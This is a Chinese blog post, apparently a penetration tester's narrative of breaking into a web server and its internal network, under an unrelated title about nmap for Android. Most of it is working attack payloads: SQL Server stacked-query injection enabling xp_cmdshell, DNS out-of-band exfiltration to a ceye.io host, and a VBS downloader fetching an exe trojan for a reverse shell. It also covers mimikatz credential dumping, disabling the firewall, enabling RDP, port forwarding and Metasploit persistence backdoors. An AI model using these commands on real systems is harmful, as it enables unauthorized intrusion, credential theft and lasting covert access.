nmap安卓中文版,nmap安卓汉化版

  

  欢迎关注我的头条,微信官方账号:某安全研究员。   

  

  我知道大家都喜欢看渗透的实际案例,那我再分享一个,主要是思路,不是技术点。可能需要几天几夜才能把每个技术点解释清楚。   

  

  信息收集:dirsearch扫了一波目录,一无所获。   

  

     

  

  主站通过直接域名解析ip访问发现主站与cdn链接。   

  

     

  

  子域路由扫描子域   

  

     

  

  其中一个子域名没有CDN,因此找到了网站的真实ip。   

  

     

  

  获得真实ip后,nmap扫描在端口8099上发现一个未知应用程序。   

  

     

  

  Discovery是一个WEB服务,一个登录界面。   

  

  利用nmap还在工作的时候,简单浏览网站的功能,伪静态,整个网站没有动态功能。   

  

     

  

  于是我把目光放在了nmap扫出来的8099端口web服务上。   

  

     

  

  测试常规admin/admin,密码错误。   

  

     

  

  L3yx/xxxx,账号不存在。   

  

     

  

  那么可以肯定的是,这里的账号和密码验证是分开的,确实有admin账号。而且没有验证码,理论上是可以爆的,但是我只手动测试了几种常见的弱密码,没有结果。   

  

  当你输入一个单引号(admin'/123123)时,惊喜就来了。sqli存在于此!   

  

     

  

  因此,他巧妙地构造了‘主密码’,admin/x’或‘x’=‘x-   

  

     

  

  然后我反应过来了。之前测试发现账号密码验证是分开的,后台账号密码验证绝对不是简单的用户名=XXX,密码=XXX的sql语句,所以我继续测试,观察错误信息。   

  

     

  

     

  

  密码验证好像是在调用存储过程,比如execute @ result=verify' XXX ',' XXX ';   

  

  当账户密码为admin/11 ',' xx'-,页面恢复正常。   

  

     

  

  因为不熟悉sqlserver使用存储过程注入,所以想尝试构造一个可以成功登录的。   

的payload没有成功,就换种思路。

  

sqlserver是默认可以堆叠查询的,所以只要把之前的语句闭合,那么就可以在其后执行任意sql语句,能执行任意sql语句,那么同样利用存储过程就可以执行系统命令

  

第一步先用如下语句开启扩展存储过程

  

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

  

执行系统命令

  

exec master..xp_cmdshell "whoami"这里是不会有回显的命令执行结果的,所以用ping命令来判断命令执行结果

  

  

  


  

命令执行结果DNS带外有时候能执行命令却看不见结果也是很难受的,这里我还是想能够观察到命令执行结果,用到DNS带外的方法,其实就下面一条命令

  

cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"实际测试的时候爬了很多坑,当前执行目录可能没有写权限,换到D目录

  

目标服务器貌似没有nslookup,换成ping

  

&&这两个字符一定要编码,否则被WEB服务器当做参数分隔符了

  

生成的temp文件要删除,否则下次执行会失败

  

sqlserver中一对双引号其中的双引号用两个双引号代替

  


  

最后的paylaod

  

exec master..xp_cmdshell "whoami>D:/temp%26%26certutil -encode D:/temp D:/temp2%26%26findstr /L /V ""CERTIFICATE"" D:/temp2>D:/temp3";exec master..xp_cmdshell "cmd /v /c""set /p MYVAR=< D:/temp3 %26%26 set FINAL=!MYVAR!.xxx.ceye.io %26%26 ping !FINAL!""";exec master..xp_cmdshell "del ""D:/temp"" ""D:/temp2"" ""D:/temp3""";

  

  

  

没想到直接就是system权限

  


  

写入VBS下载木马cmd命令行做不到下载文件,使用powershell容易被杀毒软件拦截,在该服务器上测试powershell命令也不成功,所以就用vbs来下载文件

  

vbs下载文件脚本:

  

iLocal = LCase(WScript.Arguments(1))iRemote = LCase(WScript.Arguments(0))Set xPost = CreateObject("Microsoft.XMLHTTP")xPost.Open "GET",iRemote,0xPost.Send()Set sGet = CreateObject("ADODB.Stream")sGet.Mode = 3sGet.Type = 1sGet.Open()sGet.Write(xPost.responseBody)sGet.SaveToFile iLocal,2用法:cscript D:/l.vbs http://xx.xx.xx.xx/x.exe D:/x.exe

  

所以先得利用sql注入执行命令把该脚本一点点写入文件,如下

  

echo iLocal = LCase(WScript.Arguments(1))>D:/l.vbsecho iRemote = LCase(WScript.Arguments(0))>>D:/l.vbsecho Set xPost = CreateObject(""Microsoft.XMLHTTP"")>>D:/l.vbsecho xPost.Open ""GET"",iRemote,0 >>D:/l.vbsecho xPost.Send() >>D:/l.vbsecho Set sGet = CreateObject(""ADODB.Stream"")>>D:/l.vbsecho sGet.Mode = 3 >>D:/l.vbsecho sGet.Type = 1 >>D:/l.vbsecho sGet.Open()>>D:/l.vbsecho sGet.Write(xPost.responseBody)>>D:/l.vbsecho sGet.SaveToFile iLocal,2 >>D:/l.vbs注意以上命令是不能全部用&&连接起来一起输入的,因为参数限制最大长度为 128,还有在sqlserver中双引号内输入双引号是需要输入两个双引号的,并不是用\转义,如图

  

  

  

  

在执行 cscript D:/l.vbs http://ip/x.exe D:/x.exe 命令后,看到服务器日志确有下载记录

  

  

说明vbs脚本写入成功而且确实下载了文件,但是执行 D:/x.exe 后没有收到shell怀疑是杀毒软件给拦了,但我确实做过免杀啊...

  

后来检查发现,该服务器是32位系统,而我用的是64位的payload,自然不会成功,后面换成32位的,成功弹回shell

  

  


  

信息收集ipconfig查了一下ip,发现处在内网

  

  


  

查看域用户

  

net group /domain 有中文乱码,本来想用chcp 65001切换成UTF-8代码页,但只要切换成UTF-8 shell就断,不知具体原因。不过utf-8不行的话chcp 437切换到IBM437英语好了

  

看到这里是没有域的,有点小失望

  

  


  

查看系统基本信息

  

systeminfo

  


  

查看端口,没开3389

  

netstat -ano

  


  

查看相邻主机IP

  

arp –a

  

抓用户hash

  

  

  

解密不成功的话可以用mimikatz直接抓取明文,metasploit已经内置,可以直接加载

  

load mimikatz然后用kerberos命令抓取

  

或者用mimikatz_command执行mimikatz命令

  

mimikatz_command -f sekurlsa::logonPasswords

  


  

连接3389目标3389是没有开启的,不过Win7、Win2003、XP系统可用如下命令直接开启

  

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  

  

  

关闭防火墙:

  

netsh firewall set opmode mode=disable尝试关闭防火墙后还是连接不成功

  

测试发现3389端口仍然为closed

  

  

真是被自己蠢到了...

  

这台服务器是在内网,要连接自然的先把端口转发到公网上啊

  

metasploit端口转发:

  

portfwd add -l 3389 -p 3389 -r 192.168.50.2这句命令是将目标(-r 192.168.50.2)的3389端口(-p 3389)转发到我服务器的3389端口(-l 3389)

  

  

然后打开远程桌面连接,ip即为我服务器的公网ip,端口由于也是设置的3389,所以不用改

  

  


  

内网扫描要对目标内网进行扫描需要先添加一下路由

  

run autoroute -s 192.168.50.2/24

  

使用metasploit的portscan扫描一下内网存活的主机

  

use auxiliary/scanner/portscan/tcpset rhosts 192.168.50.2/24set ports 139, 445exploit

  

有点慢呢,最后扫了一半还没发现其他主机就放弃了

  


  

权限维持metasploi Metsvc模块这个使用很简单

  

run metsvc

  

其实是给目标开了一个服务

  

  

连接的话使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337

  


  

metasploi Persistence模块run persistence -U -i 60 -p 5555 -r xx.xx.xx.xx-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息

  

-i:设置反向连接间隔时间,单位为秒;

  

-p:设置反向连接的端口号;

  

-r:设置反向连接的ip地址

  

  

清除脚本在下图位置

  

  

若要清除后门,在meterpreter运行该脚本即可

  

  

到这里,就结束了吧,欢迎大家与我交流,点击我的头像就可以关注我啦

相关文章